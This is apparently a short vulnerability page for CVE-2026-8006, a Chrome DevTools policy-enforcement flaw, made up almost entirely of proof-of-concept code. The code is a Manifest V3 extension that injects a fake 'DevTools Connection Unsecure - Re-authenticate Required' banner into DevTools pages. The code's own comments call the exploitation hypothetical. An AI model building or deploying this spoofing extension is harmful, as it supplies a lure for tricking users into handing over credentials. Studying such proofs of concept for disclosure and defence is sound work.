CVE-2026-8006 Chrome DevTools策略执行不足漏洞

// manifest.json { "manifest_version": 3, "name": "DevTools Spoofing PoC", "version": "1.0", "permissions": ["activeTab", "scripting"], "background": { "service_worker": "background.js" } } // background.js // This script demonstrates how an extension might attempt to inject a spoofed UI // exploiting the insufficient policy enforcement in DevTools context. chrome.action.onClicked.addListener((tab) => { if (tab.url.includes("chrome-devtools://")) { console.log("Attempting to inject into DevTools context"); // Hypothetical exploitation: Injecting a fake security banner into the DevTools panel chrome.scripting.executeScript({ target: { tabId: tab.id }, func: spoofUI, }); } else { console.log("Navigating to DevTools environment first is required for this PoC."); } }); function spoofUI() { // Create a fake UI element to demonstrate the spoofing capability const fakeBanner = document.createElement('div'); fakeBanner.style.position = 'fixed'; fakeBanner.style.top = '0'; fakeBanner.style.left = '0'; fakeBanner.style.width = '100%'; fakeBanner.style.backgroundColor = '#f1c40f'; fakeBanner.style.color = 'black'; fakeBanner.style.textAlign = 'center'; fakeBanner.style.padding = '10px'; fakeBanner.style.zIndex = '9999'; fakeBanner.innerText = 'WARNING: DevTools Connection Unsecure - Re-authenticate Required'; document.body.appendChild(fakeBanner); console.log('Spoofed UI injected via extension exploiting CVE-2026-8006'); }